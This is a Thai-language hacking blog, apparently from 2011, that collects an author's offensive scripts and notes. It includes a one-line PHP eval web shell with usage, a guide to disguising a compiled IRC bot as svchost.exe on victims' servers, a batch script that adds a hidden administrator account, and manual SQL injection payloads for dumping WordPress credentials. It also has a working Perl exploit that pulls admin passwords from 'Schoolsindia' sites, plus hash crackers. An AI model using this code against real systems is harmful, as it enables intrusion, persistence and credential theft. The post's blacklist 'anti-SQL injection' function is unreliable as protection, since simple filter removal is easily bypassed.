หน้าเว็บ

วันพุธที่ 28 ธันวาคม พ.ศ. 2554

How to protect against SQL Injection


          เจออยู่นานแล้วคิดว่าเก็บเอามาแปะบล๊อกไว้ดีกว่า เดี๋ยวจะลืมซะก่อน Function แหล่มๆ ไว้กัน SQL Injection นะครับ


GET Method
function mysqlesc($input){ 
$input = str_ireplace('\'', '', $input);
$input = str_ireplace('"', '', $input);
$input = str_ireplace('UNION', '', $input); 
$input = str_ireplace('--', '', $input); 
$input = str_ireplace('/**/', '', $input); 
$input = str_ireplace('/*', '', $input); 
$input = trim($input); 
return $input; 
}
POST Method
function mysqlesc($input){
$input = mysql_real_escape_string($input);
return $input;
}
Ref : http://santoshdudhade.blogspot.com/2011_11_01_archive.html

บทความเพิ่มเติม

Ref : how to bypass function SQLi check ?

List IP Domain to Text File [ Perl ]

เขียนเก็บไว้ก็ไม่ได้ใช้อะไรเอามาปล่อยแจกดีกว่า อิอิกำ



use LWP::UserAgent;

print "\n\n\t\tList Domain IP to TxT From Stephack.Com... By ICheer_No0M\n\n";
print "\tIP Domain : ";
chomp($ip=<stdin>);
my $folder=$ip;
system("mkdir $folder");
print "\n[!] Starting...\n\n";
if($ip=~m/(.+?)\.(.+?)\.(.+?)\.(.+?)$/ig){$one=$1;$two=$2;$three=$3;$rang=$4;
for($rang=$4;$rang<=255;$rang++){
 $ip=$one.'.'.$two.'.'.$three.'.'.$rang;
 $ua = LWP::UserAgent->new();
 $get=$ua->get('http://stephack.com/re_ip/'.$ip)->content;
 if ($get=~/<\/script><\/head><body>([^~]*)<br \/><br \/><\/body><\/html>/) {
   $content=$1;
   $content=~s/\n//ig;
   if($get!~/0 site/i){if($get=~/: (.+?) site/){$count=$1;}
    @content=split(/<br \/>/,$content);
    foreach (@content) { 
     open (MYFILE, ">> ".$folder.'/'."$ip--$count.txt");
     print MYFILE "\n".$_."\n";
     close (MYFILE); 
    }
    print '[+] '.$ip." => Save Success.\n";
   }else{
    print '[-] '.$ip." => 0 Site.\n";
   }
  }
 }
 print "\n[!] Complete...\n\n";
}

จะเซฟอยู่ใน Folder IP ที่เราใส่ไปนะครับ Folder IP จะอยู่ข้างๆไฟล์ Perl รูปแบบการเซฟจะเป็น

 ip--จำนวนโดเมน นะครับเช่น 122.155.12.238--3.txt IP ที่เจอโดเมนจะเซฟ ที่ไม่เจอจะผ่านไปครับ..

วันอังคารที่ 27 ธันวาคม พ.ศ. 2554

ทำไมผมไม่ใช้ Shell สำเร็จรูป ( C99, R57 )

       

          ทำไมผมไม่ใช้ php shell สำเร็จรูปที่มีแจกใน internet ทั่วไปเช่นพวก c99,r57 ที่โด่งดัง (รึเปล่า) เหตุเพราะว่าในนั้นอาจจะยัดโค้ด backdoor ไว้ก็ได้ อย่างเวลาที่ผมเข้าไปในหอยของหรั่ง mbam ของผมมักจะเตือนบล๊อก ip แปลกๆตลอด
          ผมจึงคิดว่าแม่งไม่ปลอดภัยแล้วล่ะสำหรับตัวผม จึงได้ศึกษาการเขียน php shell จากใน irc ได้โค้ดมาสั้นๆก็สามารถทำอะไรหลากหลายอย่างได้เหมือน c99 ไม่แพ้กัน เพียงเพราะ c99 จะมี user interface ที่งามหน้ากว่าเท่านั้น ส่วนข้างในก็จะเป็นโค้ดยาวๆอย่างที่หลายๆคนเคยแงะนั้นเอง

<?php @eval($_GET['cmd']);die; ?>


          จากโค้ดข้างบนก็สามารถทำได้ทุกอย่างไม่แพ้กับ c99 เลยนะครับรูปแบบการใช้งานก็จะเป็นแบบนี้นะ..

http://localhost/shell.php?cmd=system('ipconfig');

          บทความนี้เป็นพื้นฐานของการใช้ php shell นะครับ ส่วนท่านที่หลงเข้ามาอ่านคงจะรู้เรื่องและคุ้นเคยกันอยู่แล้วคงไม่ต้องพูดอะไรมาก อิอิ ส่วนผมคงไม่ได้นั่งพิมพ์แบบนี้หรอกครับ shell ผมไม่ใช่โค้ดนี้
แน่นอนและการควบคุมผมเขียน IRC Bot ไว้ควบคุม PHP Shell ปลอดภัยกว่าสะดวกกว่า ได้เรียนรู้ภาษาอีกด้วย เป็นประโยชน์ครับ

IRC Bot Control shell.php [ Remote Code Execution ]

วันอาทิตย์ที่ 11 ธันวาคม พ.ศ. 2554

Threads in Perl. แยก Process ทำงานด้วย Threads.

         Threads คืออะไร ตามที่ผมเข้าใจ เจ้าตัว Threads เนี่ย มันคือการแตก process แยกกันทำงานในแต่ละคำสั่ง ที่ได้รับมาครับ ซึ่งจะทำให้โปรแกรมที่เราเขียนเพื่อรันหลายคำสั่งในเวลาเดียวกัน ทำงานได้รวดเร็วยิ่งขึ้นเพราะมีการแยก process กันทำงานตามที่ผมบอกไปด้านบนครับ มาดูตัวอย่างการสร้าง Threads ทำงานกันง่ายๆ ใน Perl ก็มีโมดูลที่เรียกใ้ช้ Threads ได้เช่นกันโดยใช้ use Threads; 


use Threads;

while(1){
 print 'Command : ';
 chomp($command=<stdin>);
 $threads = threads->create(\&cmd,$command); // ใช้ Threads
 #&cmd($command); // ไม่ได้ใช้ Threads
 sub cmd{
  my @value = qx($command);
  foreach(@value){
   print $_;
  }
 } 
}

          จากโค้ดคือส่วนที่สั่ง control cmd.exe เหมือนที่เราพิมพ์ใน cmd บนวินโดวส์นั่นเอง.. แบบแรกที่ไม่ใช่ threads ผมลองเิปิด notepad.exe อันแรก จะเิปิดได้ แต่เปิดอันที่สองจะเปิดไ่ม่ได้ครับ เพราะมันต้องรอ process ที่เปิด notepad.exe อันแรกทำงานเสร็จก่อน (นั้นคือปิดโปรแกรมนั่นเอง)

          คราวนี้ผมลองเขียนแบบใช้ threads ดูสามารถเปิดได้หลายๆอัน คือทำได้หลาย process นั่นเองครับ รูปแบบการสร้าง threads ก็จะเป็นแบบ $ตัวแปร = threads->create(\&sub,$para1); คือส่ง parameter เข้าไปใน sub เพื่อให้ทำงานนั่นเองครับ ลองนำไปประยุกต์ใช้กันดูนะครับ..

ขอจบบทความเพียงเท่านี้ครับ ,, ICheer_No0M

วันพฤหัสบดีที่ 17 พฤศจิกายน พ.ศ. 2554

วันจันทร์ที่ 14 พฤศจิกายน พ.ศ. 2554

Sub Check IP + Split Path [ Perl ]

use LWP::UserAgent;

$ua=LWP::UserAgent->new();
$shell='http://another.com/path/file.php';
print ipvictim($shell);

sub ipvictim{
     $myURL=$_[0];
     @splitURL = split(/\//, $myURL);
     $url=@splitURL[2];
     $request = $ua->post('http://www.selfseo.com/find_ip_address_of_a_website.php',["url"=>$url,"submit"=>"submit"])->content;
     $request=~s/\r|\n//ig;
     $request=~s/\s+/ /ig;
     $request=~s/\>\s+\</\>\</ig;
     if($request=~/The IP address of $url is <b>(.*?)\<\/b>/){
          $victimip=$1;
          return ($victimip);
     }
     
}

วันศุกร์ที่ 4 พฤศจิกายน พ.ศ. 2554

Simple MD5 Brute Force from Dic.txt V.เกรียนๆ [ Perl ]

use Digest::MD5 qw(md5_hex);

$md5=$ARGV[0];
print "\n\t Simple MD5 Brute Force from Dic.txt By ICheer_No0M\n\n";
print '[+] Beginning Brute MD5 : '.$md5."\n\n";
open (MYFILE,'dic.txt');
while (<MYFILE>){
 chomp;
 $md5list=md5_hex($_);
 if($md5list eq $md5){
   print '[+] Found : '.$_."\n\n";
   print '[+] Brute MD5 Finish...'; 
   exit;
  }
 }
close (MYFILE);

วันอาทิตย์ที่ 30 ตุลาคม พ.ศ. 2554

Compile Perl to Exe => Bot IRC

          บทความนี้นะครับ ผมจะมาว่าด้วยเรื่องการคอมไพล์ไฟล์โปรแกรมที่เขียนขึ้นด้วยภาษา Perl ไปเป็นไฟล์ Exe คือรันได้ด้วยตัวของมันเองไม่ต้องมีการลง Module อะไรเพิ่มเติมก็สามารถรันได้ ถึงแม้จะไม่ได้ลง Active Perl ก็รันได้ ในที่นี้ผมจะใช้ Perl Dev Kit ในการคอมไพล์นะครับ


          ในบทความนี้ผมจะเอ่ยถึงการคอมไพล์ Bot IRC ไปรันที่ Server เหยื่อซึ่งเป็น Host Windows จะทำอย่างไรให้เนียน เจ้าของเครื่องจับไม่ได้ว่ามี Process แปลกๆรันอยู่ ผมจึงตั้งชื่อไฟล์ Perl ว่า svchost.pl แล้วทำการคอมไพล์

          จากรูปที่ลูกศรชี้จะอยู่ใน Option ที่ 2 ของ PerlApp นะครับ ติ๊กถูกเพื่อให้เวลาคอมไพล์แล้วรัน จะมีการซ่อน console คือหน้าต่างดำๆไว้ใน Process แบบเนียนๆ แล้วยิ่งชื่อ svchost.exe แล้วด้วย เนียนเข้าไปใหญ่ครับ :) จากนั้นเราก็อัพไฟล์ exe ไปไว้ที่ใดที่นึงใน Server ชาวบ้าน 



           ใช้คำสั่ง start svchost.exe ชื่อไฟล์ของเรา จากนั้นบอทของเราก็จะไปรันเนียนๆกับ Process svchost.exe ของจริงแล้ว คราวนี้ทางโน้นก็คงไม่รู้ว่าบอทเรา Process ไหน End Process มั่วเครื่องเอ๋ออีก แต่มันก็ยังมีขั้นตอนการตรวจสอบละเอียดลงไปกว่านี้อีกนั่นแหละ -.-*a ขอจบบทความแค่นี้แล้วกันครับ

วันศุกร์ที่ 7 ตุลาคม พ.ศ. 2554

MySQL Hash Online Crack [ Perl Script ]

use LWP::UserAgent;
use HTTP::Request::Common;

print "Input MySQL Hash : ";
chomp($hash=<stdin>);
$url = "http://hashcrack.com/index.php";
$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
$request = $ua->post($url,["hash"=>$hash,"Submit"=>"Submit","auth"=>'8272hgt']);

if ($request->content =~ /<span class=hervorheb2>(.*?)\<\/span>/){
print "MySQL Hash Found : $1\n";
}else {
print "MySQL Hash Not Found!\n";
}

เพิ่งลองเขียนแบบ post ครั้งแรก เดี๋ยวเอาลง irc bot ด้วยเลย

วันพุธที่ 7 กันยายน พ.ศ. 2554

เขียน PHP ให้บัค SQL Injection เพื่อทดสอบ Bot หรือ Tool ...

<?php

$link = mysql_connect("localhost", "root","1234")or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("test") or die("Could not select database");
$id = $_GET['id'];
$query = "SELECT id,user,pass FROM login where id = ".$id;
echo "<h3>Query : " . $query . "</h3>";
$result = mysql_query($query) or die("Query failed : " . mysql_error());
print "<table style='color:#ff0000' border='1'>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
 print "\t<tr>\n";
 foreach ($line as $col_value) {
  print "\t\t<td><b>$col_value</b></td>\n";
 }
 print "\t</tr>\n";
}
print "</table>\n";
mysql_free_result($result);
mysql_close($link);

?>

สร้าง DB ชื่อ test , Table ชื่อ login , Column ชื่อ id,user,pass ใส่ข้อมูล

เซฟลง localhost เรียกใช้ http://localhost/sqlibug.php?id=1

วันจันทร์ที่ 5 กันยายน พ.ศ. 2554

How To Manual SQL Injection.

http://localhost/sqlibug.php?id=1 => Victim
http://localhost/sqlibug.php?id=1' => Bug
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+1,2,3-- => Magic Number 1,2,3
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+database(),2,3-- => Current DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(schema_name),2,3+from+information_schema.schemata-- => Group DataBases
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(table_name),2,3+from+information_schema.tables+where+table_schema=database()-- => Table In Current DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(table_name),2,3+from+information_schema.tables+where+table_schema=0x776f72647072657373-- => Tables In Any DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(column_name),2,3+from+information_schema.columns+where+table_name=0x77705f7573657273+and+table_schema=0x776f72647072657373-- => Columns In Table In DataBase
http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(id,0x3a,user_login,0x3a,user_pass),2,3+from+wordpress.wp_users-- => Dump Data In Columns

วันเสาร์ที่ 27 สิงหาคม พ.ศ. 2554

SQLi Tool ใช้ Dump Data ข้าม DataBase ได้แล้ววว


เพิ่งมารู้ตอนเขียน IRC Bot เอง แหะๆ เลยถือโอกาสแก้บัคไปด้วยเลย เมื่อก่อนที่เขียนคือ Dump ได้แค่ database() หรือ Current DataBase เท่านั้น แต่ตอนนี้แก้ใหม่แล้วดั้มได้ทุก DB

from+database.table--

http://localhost/sqlibug.php?id=1+and+1=2+union+all+select+group_concat(ID,CHAR(32,58,32),user_login,CHAR(32,58,32),user_pass),2,3+from+wordpress.wp_users--

วันพฤหัสบดีที่ 25 สิงหาคม พ.ศ. 2554

เขียน Perl กับ Sub [ IRC ]

if ($svrmsg=~/all@!talk (.*)/)
{
$message=$1;
{if ($svrmsg=~/^\:$owner\!/){&talk;} # ส่งเข้า Sub
}
}
###### ใช้ Sub
sub talk{
print $connect "PRIVMSG ".$channel." :$message\r\n";
}

วันอังคารที่ 23 สิงหาคม พ.ศ. 2554

Hack SQLi Localhost ด้วย IRC Bot...

   <ICheer_No0M> all@!sqliscan localhost/sqlibug.php?id=1
<ICheer_BotZz> [+] Scanning Column in http://localhost/sqlibug.php?id=1
<ICheer_BotZz>
<ICheer_BotZz> [+] Found target : http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3
<ICheer_BotZz>
<ICheer_BotZz> [+] Scanning Error Path...
<ICheer_BotZz>
<ICheer_BotZz> [+] Cannot Find Error Path...
<ICheer_BotZz>
<ICheer_BotZz> DataBase Current : test
<ICheer_BotZz> DataBase User : root@localhost
<ICheer_BotZz> DataBase Version : 5.0.51b-community-nt-log
<ICheer_BotZz> OS Version : Win32
<ICheer_BotZz> Base Directory : C:\AppServ\MySQL\
<ICheer_BotZz> Data Directory : C:\AppServ\MySQL\data\
<ICheer_BotZz> Host Name : HACKED
<ICheer_BotZz>
<ICheer_BotZz> Host : 127.0.0.1
<ICheer_BotZz> User : root
<ICheer_BotZz> Password : 446a12100c856ce9
<ICheer_BotZz> Process_priv : Y
<ICheer_BotZz> File_priv : Y
<ICheer_BotZz> Execute_priv : Y
<ICheer_BotZz>
<ICheer_BotZz> [+] Count DataBase : 17
<ICheer_BotZz>
<ICheer_BotZz> [+] Found DataBase 1 : information_schema
<ICheer_BotZz> [+] Found DataBase 2 : aor
<ICheer_BotZz> [+] Found DataBase 3 : bigc
<ICheer_BotZz> [+] Found DataBase 4 : bookshop
<ICheer_BotZz> [+] Found DataBase 5 : com
<ICheer_BotZz> [+] Found DataBase 6 : db_test
<ICheer_BotZz> [+] Found DataBase 7 : dbsong
<ICheer_BotZz> [+] Found DataBase 8 : gallery3
<ICheer_BotZz> [+] Found DataBase 9 : icheer_botzz
<ICheer_BotZz> [+] Found DataBase 10 : joomla
<ICheer_BotZz> [+] Found DataBase 11 : kit
<ICheer_BotZz> [+] Found DataBase 12 : mysql
<ICheer_BotZz> [+] Found DataBase 13 : phpmyadmin
<ICheer_BotZz> [+] Found DataBase 14 : shell
<ICheer_BotZz> [+] Found DataBase 15 : smf
<ICheer_BotZz> [+] Found DataBase 16 : test
<ICheer_BotZz> [+] Found DataBase 17 : wordpress
<ICheer_BotZz>
<ICheer_BotZz> [+] Saving To MySQL DataBase...
<ICheer_BotZz>
<ICheer_BotZz> [+] Complete...
<ICheer_No0M> all@!sqlitable http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test
<ICheer_BotZz> [+] Count Table : 1
<ICheer_BotZz>
<ICheer_BotZz> [+] Found Table 1 : login
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...
<ICheer_No0M> all@!sqlicolumn http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test -tb login
<ICheer_BotZz> [+] Count Column : 3
<ICheer_BotZz>
<ICheer_BotZz> [+] Found Columns : id,user,pass
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...
<ICheer_No0M> all@!sqlidump http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+icheernoom,2,3 -db test -tb login -cl id,user,pass
<ICheer_BotZz> [+] Count Row : 2
<ICheer_BotZz> [+] Row : id,user,pass
<ICheer_BotZz>
<ICheer_BotZz> [+] Dump 1 : 1 : <ICheer_No0M> : Password
<ICheer_BotZz> [+] Dump 2 : 2 : testuser : testpass
<ICheer_BotZz>
<ICheer_BotZz> [+] Export Link : http://localhost/sqlibug.php?id=1+AND+1=2+UNION+ALL+SELECT+group_concat(id,0x203a20,user,0x203a20,pass),2,3+from+test.login--
<ICheer_BotZz>
<ICheer_BotZz> [+] Done...


รูปเต็มๆคลิก http://bitimg.com/?di=613141124243

เอาไว้ลองบอท

วันอังคารที่ 16 สิงหาคม พ.ศ. 2554

Talk Function [ IRC Bot Perl ]

if ($svrmsg=~/all@!talk (.*)/) 
	{
	$message=$1;
	if ($svrmsg=~/^\:$owner\!/) 
		{
		print $connect "PRIVMSG ".$channel." :$message\r\n";
		}
	}

จดไว้กันลืม : D

วันจันทร์ที่ 15 สิงหาคม พ.ศ. 2554

OSI 7 Layers

- Physical Layer เคลื่อนย้ายข้อมูลระดับบิตจากโหนดหนึ่งไปยังโหนดถัดไป
- Data Link Layer เคลื่อนย้ายเฟรมจากโหนดหนึ่งไปยังโหนดถัดไป
- Network Layer ส่งมอบแพ็กเก็ตจากโฮสต์ต้นทางไปยังโฮสต์ปลายทา่ง
- Transport Layer ส่งมอบข่าวสารจากโปรเซสต้นทางไปยังโปรเซสปลายทาง
- Session Layer ควบคุมการสื่อสารและการซิงโครไนซ์
- Presentation Layer แปลงข้อมูล เข้ารหัสข้อมูล บีบอัดข้อมูล
- Application Layer จัดการงานบริการให้แก่ผู้ใช้

วันศุกร์ที่ 12 สิงหาคม พ.ศ. 2554

YouTube VDO Downloader [ Perl ]


#!/usr/bin/perl
# YOU MUST INSTALL "WWW::YouTube::Download" FIRST

# HOW TO INSTALL "WWW::YouTube::Download"
# [win32] (active perl)
# start>run
# ppm install WWW::YouTube::Download

# [NIX]
# sudo cpan
# install WWW::YouTube::Download

use HTTP::Cookies;
use LWP::UserAgent;
use WWW::YouTube::Download;

my $client = WWW::YouTube::Download->new;
my $cookie_jar = HTTP::Cookies->new(autosave =>1, hide_cookie2=>1);
my $browser = LWP::UserAgent->new(
  agent=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
  timeout=>8,
  max_redirect=>0,
  cookie_jar=>$cookie_jar
);
my $video_id = $ARGV[0];
if(!$video_id){
  print "[+] Input Youtube Link : ";
  chomp($video_id=<stdin>);
}
$video_id =~s/.*youtu((\.be\/)|(be\.com\/watch\?v=))([^\&\s]+).*/$4/;
my $suffix = $client->get_suffix($video_id);
my $you_down = $browser->get("http://tinyurl.com/api-create.php?url=".$client->get_video_url($video_id))->content;
print "[+] VDO_ID $video_id\n";
print "[+] ($suffix) $you_down\n";
<stdin>;

เข้า cmd แล้วพิมพ์ ppm install WWW::YouTube::Download จากนั้น Enter

แล้วรอจน Done นะครับ

วิธีใช้

youtube.pl youtu.be/lkjbnjJlFDk
youtube.pl 8YWQH29igJw
youtube.pl http://www.youtube.com/watch?v=lkjbnjJlFDk
youtube.pl youtube.com/watch?v=lkjbnjJlFDk
youtube.pl youtu.be/lkjbnjJlFDk

จากนั้นเอา http://tinyurl.com/455m9vy (ผลลัพธ์ที่ได้มา) ที่ได้ไปวางที่ Browser กด Enter ครับ

Script By windows98SE

URLEncode / URLDecode [ VB6 ]

Public Function URLdecshort(ByRef Text As String) As String
    Dim strArray() As String, lngA As Long
    strArray = Split(Replace(Text, "+", " "), "%")
    For lngA = 1 To UBound(strArray)
        strArray(lngA) = Chr$("&H" & Left$(strArray(lngA), 2)) & Mid$(strArray(lngA), 3)
    Next lngA
    URLdecshort = Join(strArray, vbNullString)
End Function
Public Function URLencshort(ByRef Text As String) As String
    Dim lngA As Long, strChar As String
    For lngA = 1 To Len(Text)
        strChar = Mid$(Text, lngA, 1)
        If strChar Like "[A-Za-z0-9]" Then
        ElseIf strChar = " " Then
            strChar = "+"
        Else
            strChar = "%" & Right$("0" & Hex$(Asc(strChar)), 2)
        End If
        URLencshort = URLencshort & strChar
    Next lngA
End Function
# Using #
Private Sub Command1_Click()
Text2.Text = URLencshort(Text1.Text)
End Sub

Ref : http://www.vbforums.com/showthread.php?t=541683

วันพฤหัสบดีที่ 11 สิงหาคม พ.ศ. 2554

Thai Gen ID [ Perl Version. เกรียนๆ ]


print "\tThai Generator ID By ICheer_No0M\n\n";
print "Input Round : ";
 chomp($input=<stdin>);
 for($i=1;$i<=$input;$i++)
{
 $id1 = int(rand(9));
 $id2 = int(rand(9));
 $id3 = int(rand(9));
 $id4 = int(rand(9));
 $id5 = int(rand(9));
 $id6 = int(rand(9));
 $id7 = int(rand(9));
 $id8 = int(rand(9));
 $id9 = int(rand(9));
 $id10 = int(rand(9));
 $id11 = int(rand(9));
 $id12 = int(rand(9));
 $step1=($id1*13)+($id2*12)+($id3*11)+($id4*10)+($id5*9)+($id6*8)+($id7*7)+($id8*6)+($id9*5)+($id10*4)+($id11*3)+($id12*2);
 $step2=$step1%11;
 $step3=11-$step2;
 if ($step3==11){
   $step3=1;
}
elsif ($step3==10){
   $step3=0;
}
 print ("\nThai ID ".$i." : ".$id1."-",$id2,$id3,$id4,$id5."-",$id6,$id7,$id8,$id9,$id10."-",$id11,$id12."-",$step3)."\n";
 }
<stdin>;

รู้ว่ามีคนเขียนเยอะแล้ว แต่ก็อยากลองเขียนดูบ้างครับ ^_^

วันอังคารที่ 9 สิงหาคม พ.ศ. 2554

Powered By Schoolsindia SQL Injection Vulnerability [ Perl ]



use LWP::UserAgent;

print "[+] Powered By Schoolsindia SQL Injection Vulnerability\n";
print "[+] By ICheer_No0M\n\n";
print "[+] Input URL : ";
chomp($url=<stdin>);
print "[+] Input ID : ";
chomp($id=<stdin>);
$ids=$id-1;
$user="+and+1=2+union+all+select+1,2,concat(0x6963686565725f6e6f6f6d21,group_concat(user_name),0x236963686565725f6e6f6f6d),4,5,6,7,8,9+from+admin+limit+";
$pass="+and+1=2+union+all+select+1,2,concat(0x6963686565725f6e6f6f6d21,group_concat(pass_word),0x236963686565725f6e6f6f6d),4,5,6,7,8,9+from+admin+limit+";
$second=",1--";
$usertarget=$url.$user.$ids.$second;
$passtarget=$url.$pass.$ids.$second;
unless ($usertarget=~/^http:\/\//) {$usertarget='http://'.$usertarget;}
unless ($passtarget=~/^http:\/\//) {$passtarget='http://'.$passtarget;}
$get=LWP::UserAgent->new->get($usertarget)->content;
if($get =~ /icheer_noom!(.*)#icheer_noom/) 
{
print "[+] User : $1\n";
}
else
{
print "[-] Failed !!!\n";
}
$get2=LWP::UserAgent->new->get($passtarget)->content;
if ($get2 =~ /icheer_noom!(.*)#icheer_noom/)
{
print "[+] Password : $1\n";
print "[-] Finish !!!\n";
}
else
{
print "[-] Failed !!!\n";
print "[-] Finish !!!\n";
}
<stdin>;

Ref : http://www.1337day.com/exploits/16633

วันจันทร์ที่ 8 สิงหาคม พ.ศ. 2554

Response Code Checking [ Perl ]

use LWP::UserAgent;

print "[+] Basic Response Code Checking\n";
print "[+] Input URL : ";
chomp($url=<stdin>);
unless ($url=~/^http:\/\//) {$url='http://'.$url;}
$ua = LWP::UserAgent->new(agent => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)');
$res = $ua->get($url);
if($res->status_line =~ /200/)
{
$status=$res->status_line;
print "\n[+] $url : $status";
}
else
{
$status=$res->status_line;
print "\n[-] $url : $status";
}
<stdin>;

อันนี้ลองเขียนเองมั่วๆดูน่ะครับ ^^

FTP Directory Upload [ Perl ]

use File::Basename;
use Net::FTP;
my $directory = $ARGV[0];
my @parts = split(/\\/, $directory);
my $length = $parts;
my $dateDir = $parts[$length-1];
$ftp = Net::FTP->new("ftp.host.com", Debug => 1) # ใส่ ftp host 
    or die "Cannot connect to hostname: $@";
$ftp->login("username", "password") # ใส่ username,password login เข้า ftp
    or die "Cannot login ", $ftp->message;
$ftp->cwd("/images") # ใส่ path ที่ต้องการอัพไฟล์เข้าไป
    or die "Cannot change working directory ", $ftp->message;
$ftp->mkdir($dateDir);
$ftp->cwd($dateDir);
$ftp->binary();
opendir(DIR, "$directory");
my @files = readdir(DIR);
foreach my $file (@files)
    {
    if (not -d $file)
        {
        $file = lc($file);
        $ftp->put("$directory\\$file");
        }
    }
$ftp->quit();

How to use : C:\Documents and Settings\Administrator\Desktop>ftpup.pl C:\test\

จากนั้นรอซักพักโฟลเดอร์ test ก็จะถูกอัพไปไว้ที่เว็บ ftp ที่เราเซ็ตค่าไว้แล้วครับ ...

Thank : http://www.reviewmylife.co.uk

วันเสาร์ที่ 6 สิงหาคม พ.ศ. 2554

Add User , Enabled User [ Batch ]

@echo off
net user add Guest hack /add  # เพิ่ม User : Guest , Password : hack 
net user Guest hack /active:yes # Enabled User Guest 
net localgroup administrators Guest /add # เพิ่ม Guest ให้อยู่ในกลุ่มของ Admin (ยกระดับสิทธิ์) 
pause

คงไม่ต้องบอกนะครับว่าใช้อย่างไร Have Fun ~

วันศุกร์ที่ 5 สิงหาคม พ.ศ. 2554

Tool ที่เขียน Dump user,pass ของ Wp ใน Localhost ไม่ได้ ~!!

          เนื่องจากผมเขียน SQLi Tool มาลองกับ localhost ตัวเองคือเขียนไฟล์ php ให้บัค SQLi แล้วลองสแกนดู เครื่องผมลง cms ไว้ 3 ตัวคือ wp,smf,joomla ก็เลยลอง dump ข้อมูลใน wp ดูมันไม่ได้ ว่าจะลองเขียนใหม่เลยลอง sniff เจ้า havij ดูเพื่อจะดูว่ามันทำยังไง แล้วเราก็มาเขียนใน tool เรา แอบเกรียน ฮร่าๆ



อ่า sniff เสร็จแล้วผลลัพธ์ก็คือ

-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,Hex(cast(wp_users.user_login%20as%20char)),0x27,0x7e)%20FROM%20`wordpress`.wp_users%20LIMIT%200,1)%20,0x31303235343830303536,0x31303235343830303536-- ## Dump User
-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,Hex(cast(wp_users.user_pass%20as%20char)),0x27,0x7e)%20FROM%20`wordpress`.wp_users%20LIMIT%200,1)%20,0x31303235343830303536,0x31303235343830303536-- ## Dump Pass

โอเคพอจะได้แนวแล้ว ไปเขียนต่อดีกว่า ขอขอบคุณ Socket Sniff ที่ช่วยในการ Sniff ครั้งนี้ด้วยครับ ~

วันอาทิตย์ที่ 31 กรกฎาคม พ.ศ. 2554

Wireless Security Tools

Wi-Fi AP Discovery Tools

Airodump-ng (Linux)
AirGrab WiFi Radar (Win)
AirMobile Agent (Win, WinCE)
AirRadar (Win)
AP Radar (Win)
Farproc Wifi Analyzer (Android)
Fluke AirCheck Wi-Fi Tester (hardware)
iStumbler (MacOS)
Kismac-ng (MacOS)
Meraki Cloud Stumbler (any browser)
MetaGeek InSSIDer (Win)
MiniStumbler (WinCE)
NetChaser (PalmOS)
NetStumbler (Win)
PassMark WirelessMon (Win)
ViStumbler (Win)
Sandy Roads WiFiHopper (Win)
WaveStumbler (Linux)
WeFi (Win, WinCE, Android, Symbian)
WiFiFoFum (WinCE, iOS, Android)
WiFinder (Android)
WiFi Scanner (MacOS)
Xirrus Wi-Fi Inspector (Win)

Wi-Fi Connection Managers

Boingo Software
Cisco ACU
Fiberlink MaaS360 Agent
HandyWi
Intel PROSet/Wireless
iPass Connect
Juniper Odyssey Access Client
Microsoft Windows Wireless Zero Config
SmithMicro QuickLink Mobile

Wi-Fi Raw Packet Capture Tools

Aircrack-ng Suite
CACE AirPcap
ettercap
libpcap
Pirni Sniffer
Prism2Dump
tcpdump

Wi-Fi Traffic Analyzers

AirMagnet WiFi Analyzer
BVS YellowJacket-BAG
Aruba Networks RFprotect Mobile
CACE WiFi Pilot
Cambridge vxSniffer
Fluke Networks OptiView and EtherScope
Javvin Network Packet Analyzer
Kismet
Motorola AirDefense Mobile
NetScout Sniffer Portable
Network Instruments Network Observer
TamoSoft CommView for Wi-Fi
Ufasoft Snif
WildPackets OmniPeek
WireShark (formerly Ethereal)

VoWiFi Traffic and QoS Analyzers

AirMagnet VoFi Analyzer
VeriWave VoIP QoS Service Assurance Test
WildPackets OmniPeek Enhanced Voice Option

Wi-Fi Intrusion Detection and Prevention Systems

AirMagnet Enterprise
AirMobile Server
AirPatrol WLS
AirTight Networks SpectraGuard Enterprise and Online
Aruba Networks AirWave RAPIDS
Enterasys HiPath Wireless Management Suite
HP ProCurve RF Manager
Cisco Adaptive WIPS
Motorola AirDefense Enterprise
Newbury Networks (Trapeze) RF Firewall

Wi-Fi Predictive Planning Tools

Aerohive Online Wi-Fi Planner
AirMagnet Planner
AirTight Networks SpectraGuard Planner
Belden Trapeze Networks RingMaster
Cisco Wireless Control System Planning Tool
Connect802 Suite Spot Predictive Site Survey
Ekahau Wireless Site Survey Professional
Motorla LAN Planner
Psiber RF3D WifiPlanner
Ruckus Wireless ZonePlanner

Wi-Fi Site Survey Heatmapping Tools

AirMagnet Survey
BVS Hive
Ekahau Heatmapper
Ekahau Wireless Site Survey Standard
Helium Networks Wireless Recon
Meraki Cloud WiFi Mapper
Motorola SiteScanner
TamoGraph Site Survey
VeriWave WaveDeploy
VisiWave Site Survey

Bluetooth Security Tools

Aruba BlueScanner
BVS Mantis Bluetooth
Frontline FTS4BT Bluetooth Protocol Analyzer

Mobile Wi-Fi Spectrum Analyzers

AirMagnet Spectrum Analyzer and AirMedic
ArubaOS Spectrum Analysis Module
AirSleuth and WifiSleuth Spectrum Analyzers
BVS BumbleBee
Cisco (Cognio) Spectrum Expert and CleanAir Technology
